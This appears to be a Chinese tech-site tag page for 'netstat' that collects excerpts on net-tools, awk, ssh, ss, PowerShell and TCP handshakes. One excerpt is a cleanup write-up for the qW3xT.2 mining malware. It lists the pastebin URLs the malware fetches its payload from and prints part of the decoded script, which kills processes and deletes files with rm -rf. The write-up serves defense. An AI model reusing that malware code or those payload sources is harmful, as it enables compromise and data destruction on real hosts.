netstat

日常工作中遇到“-bash: netstat: 未找到命令”的解决方法

做~自己de王妃 提交于 2020-01-30 11:39:20
1、遇到的问题如下: [root@localhost ~]# netstat -anptu | grep mysql -bash: netstat: 未找到命令 2、解决方法如下: [root@localhost ~]# yum -y install net-tools <!--安装依赖程序--> 已加载插件:fastestmirror Loading mirror speeds from cached hostfile * base: mirrors.aliyun.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.com 正在解决依赖关系 --> 正在检查事务 ---> 软件包 net-tools.x86_64.0.2.0-0.25.20131004git.el7 将被 安装 --> 解决依赖关系完成 依赖关系解决 ========================================================================================= Package 架构 版本 源 大小 =========================================================================================

awk 简单使用指南

佐手、 提交于 2020-01-28 08:23:35
技术博客: https://github.com/yongxinz/tech-blog 同时,也欢迎关注我的微信公众号 AlwaysBeta ,更多精彩内容等你来。 基本用法: awk '{print $0}' demo.txt 或者管道符方式: netstat | awk '{print $0}' 其中单引号中被大括号括着的就是 awk 语句,注意,其只能被单引号包含。 内建变量: 变量 描述 $0 当前记录(这个变量中存放着整个行的内容) 1 1~ 1 n 当前记录的第n个字段,字段间由FS分隔 FS 输入字段分隔符 默认是空格或Tab NF 当前记录中的字段个数,就是有多少列 NR 已经读出的记录数,就是行号,从1开始,如果有多个文件话,这个值也是不断累加中。 FNR 当前记录数,与NR不同的是,这个值会是各个文件自己的行号 RS 输入的记录分隔符, 默认为换行符 OFS 输出字段分隔符, 默认也是空格 ORS 输出的记录分隔符,默认为换行符 FILENAME 当前输入文件的名字 常用 输出第一列和第四列: netstat | awk '{print $1, $4}' 变量 NF 表示当前行有多少个字段,因此 $NF 就代表最后一个字段。 netstat | awk '{print $NF}' $(NF-1) 代表倒数第二个字段。 netstat | awk '{print

基础网络操作命令(11 个命令)

a 夏天 提交于 2020-01-28 02:59:29
telnet命令 telnet命令:使用 TELNET 协议远程登录。 ssh命令 ssh命令:openssh套件中的客户端连接工具,可以给予ssh加密协议实现安全的远程登录服务器。 格式: ​ ssh [-1246AaCfGgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec] ​ [-D [bind_address:]port] [-E log_file] [-e escape_char] ​ [-F configfile] [-I pkcs11] [-i identity_file] ​ [-J [user@]host[:port]] [-L address] [-l login_name] [-m mac_spec] ​ [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address] ​ [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]] ​ [user@]hostname [command] 参数: 参数 作用 -1 强制使用ssh协议版本1; -2 强制使用ssh协议版本2; -4 强制使用IPv4地址; -6 强制使用IPv6地址; -A 开启认证代理连接转发功能; -a

挖矿病毒 qW3xT.2 最终解决方案

独自空忆成欢 提交于 2020-01-23 20:41:59
转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd ,发现是一个Base64编码字符串, 7:用Base64解码此内容得到如下脚本内容 #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm

difference between netstat and ss in linux?

﹥>﹥吖頭↗ 提交于 2020-01-22 05:12:06
问题 In linux, netstat command tells us information of active sockets in system. I understand that netstat uses /proc/net/tcp to acquire the system network information. Since netstat man page says that netstat is obsolete, so we should use 'ss'. NOTE This program is obsolete. Replacement for netstat is ss. Replacement for netstat -r is ip route. Replacement for netstat -i is ip -s link. Replacement for netstat -g is ip maddr. I have discovered that ss performs similar functionality but it does not

difference between netstat and ss in linux?

邮差的信 提交于 2020-01-22 05:12:05
问题 In linux, netstat command tells us information of active sockets in system. I understand that netstat uses /proc/net/tcp to acquire the system network information. Since netstat man page says that netstat is obsolete, so we should use 'ss'. NOTE This program is obsolete. Replacement for netstat is ss. Replacement for netstat -r is ip route. Replacement for netstat -i is ip -s link. Replacement for netstat -g is ip maddr. I have discovered that ss performs similar functionality but it does not

How do I run a PowerShell script as a service?

ぃ、小莉子 提交于 2020-01-21 09:05:29
问题 I created the script below to check my application's port 2025 and log the number of connections. I need this script to run as a service on Windows with the name netstat_2025 . Does anyone know if there is such a possibility? I do not want to use the Task Scheduler, but instead run the script as a service on Windows. script SCTT521CTO.ps1 $startTime = (Get-Date).ToString("dd_MM_yyyy") $LogDate = ((get-date).ToLocalTime()).ToString("yyyy-MM-ddTHH:mm:ss.fff") $hostname = hostname $portTServer =

netstat:查询端口和进程信息

拟墨画扇 提交于 2020-01-20 17:48:35
-a all 显示所有选项 -t tcp 仅显示tcp相关进程 -u udp 仅显示udp相关进程 -n 拒绝显示别名,能显示数字的全部转换为数字 -l 列出有在listen的服务状态 -p 显示建立相关链接的程序名 -r 显示路由信息、路由表 -e 显示扩展信息,例如UID等 -s 按各个协议进行统计 -c 每隔一个固定时间,执行netstat命令 root@2fb0452c56bd:/# netstat -tnulp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0: LISTEN 3851/sshd tcp6 0 0 :::22 ::: LISTEN 3851/sshd 来源: 51CTO 作者: 就是老十三 链接: https://blog.51cto.com/12400136/2468054

大厂面试中三次握手延伸出来n连发你受得了?

别说谁变了你拦得住时间么 提交于 2020-01-20 03:13:34
秋招面试也不记得多少家公司会有这个面试题。所以将其总结一下并分享给大家。 文章目录 一、这是一次有故事的对话 二、三次握手的客户端服务端状态 1 先画个图看看有哪些状态 2 tcp协议内容解析 3 通过工具wireshark来验证我们所述 三、说下Linux网络编程常用API 1 Linux网络编程常用API 2 粘包现象 四、再说说为啥不是两次握手或者四次握手? 五、最后聊一聊分析网络程序的工具 1 网络程序调试工具的思维导图 2 详解各个小工具 六 结尾 嘀嘀嘀。。。。一看广东,难道是腾讯的面试,哦原来是电话面试。那就开始吧! 一、这是一次有故事的对话 先说说三次握手的各个状态 二、三次握手的客户端服务端状态 1 先画个图看看有哪些状态 嗯?这些ack seq是干啥的呢,不急不急,我们先把tcp协议格式内容给整明白了。 2 tcp协议内容解析 小贱先把tcp的头部搬过来 然后我们来解析一下各个字段是什么意思 字段名 字段描述 16位端口号 告知主机该报文是来自哪里以及传给哪个上层协议或应用程序(目的端口)的。 32位序列号 一次TCP通信(从TCP连接建立到断开)过程中某一个传输方向上的字节流的每个字节的编号 32位确认号 用作对另一方发送来的TCP报文段的响应 4位头部长度 标识该TCP头部有多少个32bit字(4字节)。因为4位最大能表示15,所以TCP头部最长是60字节。

大厂面试中三次握手延伸出来n连发你受得了?

柔情痞子 提交于 2020-01-19 22:58:41
目录 一、这是一次有故事的对话 二、三次握手的客户端服务端状态 1 先画个图看看有哪些状态 2 tcp协议内容解析 3 通过工具wireshark来验证我们所述 三、说下Linux网络编程常用API 1 Linux网络编程常用API 2 粘包现象 四、再说说为啥不是两次握手或者四次握手? 五、最后聊一聊分析网络程序的工具 1 网络程序调试工具的思维导图 2 详解各个小工具 六 结尾 秋招面试也不记得多少家公司会有这个面试题。所以将其总结一下并分享给大家。 @ 嘀嘀嘀。。。。一看广东,难道是腾讯的面试,哦原来是电话面试。那就开始吧! 一、这是一次有故事的对话 先说说三次握手的各个状态 二、三次握手的客户端服务端状态 1 先画个图看看有哪些状态 嗯?这些ack seq是干啥的呢,不急不急,我们先把tcp协议格式内容给整明白了。 2 tcp协议内容解析 小贱先把tcp的头部搬过来 然后我们来解析一下各个字段是什么意思 字段名 字段描述 16位端口号 告知主机该报文是来自哪里以及传给哪个上层协议或应用程序(目的端口)的。 32位序列号 一次TCP通信(从TCP连接建立到断开)过程中某一个传输方向上的字节流的每个字节的编号 32位确认号 用作对另一方发送来的TCP报文段的响应 4位头部长度 标识该TCP头部有多少个32bit字(4字节)。因为4位最大能表示15,所以TCP头部最长是60字节。